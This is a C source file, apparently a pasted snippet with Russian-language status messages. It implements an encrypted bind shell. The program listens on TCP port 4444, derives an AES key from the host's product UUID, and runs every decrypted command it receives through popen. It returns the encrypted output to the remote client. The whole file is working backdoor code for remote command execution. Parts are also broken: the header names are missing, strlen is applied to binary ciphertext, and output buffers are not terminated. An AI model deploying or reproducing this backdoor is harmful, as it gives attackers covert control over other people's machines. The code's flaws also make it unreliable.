#include #include #include #include #include #include #include #include #include #define PORT 4444 #define AES_KEY_SIZE 16 #define AES_BLOCK_SIZE 16 unsigned char key[AES_KEY_SIZE]; void generate_aes_key() { FILE *fp = popen("cat /sys/class/dmi/id/product_uuid", "r"); char buffer[256]; if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) { pclose(fp); printf("[-] Не удалось получить UUID, используем случайный ключ\n"); RAND_bytes(key, AES_KEY_SIZE); } else { pclose(fp); SHA256((unsigned char *)buffer, strlen(buffer), key); } } void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, ciphertext_len; unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext)); ciphertext_len = len; EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); ciphertext_len += len; EVP_CIPHER_CTX_free(ctx); } void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) { EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); int len, plaintext_len; unsigned char iv[AES_BLOCK_SIZE] = {0}; EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext)); plaintext_len = len; EVP_DecryptFinal_ex(ctx, plaintext + len, &len); plaintext_len += len; plaintext[plaintext_len] = '\0'; EVP_CIPHER_CTX_free(ctx); } int main() { generate_aes_key(); printf("[+] AES-ключ сервера сгенерирован\n"); int server_sock, client_sock; struct sockaddr_in server, client; socklen_t client_size = sizeof(client); unsigned char buffer[1024], encrypted[1024], decrypted[1024]; server_sock = socket(AF_INET, SOCK_STREAM, 0); server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(PORT); bind(server_sock, (struct sockaddr *)&server, sizeof(server)); listen(server_sock, 1); printf("[+] Сервер слушает на порту %d...\n", PORT); client_sock = accept(server_sock, (struct sockaddr *)&client, &client_size); printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr)); while (1) { recv(client_sock, encrypted, sizeof(encrypted), 0); decrypt_data(encrypted, decrypted); printf("Команда: %s\n", decrypted); FILE *fp = popen(decrypted, "r"); fread(buffer, 1, sizeof(buffer), fp); pclose(fp); encrypt_data(buffer, encrypted); send(client_sock, encrypted, sizeof(encrypted), 0); } close(client_sock); close(server_sock); return 0; }